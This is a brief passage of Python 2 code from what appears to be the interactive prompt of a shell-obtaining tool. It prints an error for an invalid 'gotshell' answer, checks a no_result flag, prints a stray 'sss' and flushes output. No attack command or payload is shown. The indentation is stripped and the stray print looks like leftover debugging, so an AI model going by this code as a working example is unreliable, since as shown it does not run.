print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
break
if no_result == True:
print ""
return False
else:
print "sss"
sys.stdout.write("\r")
sys.stdout.flush()
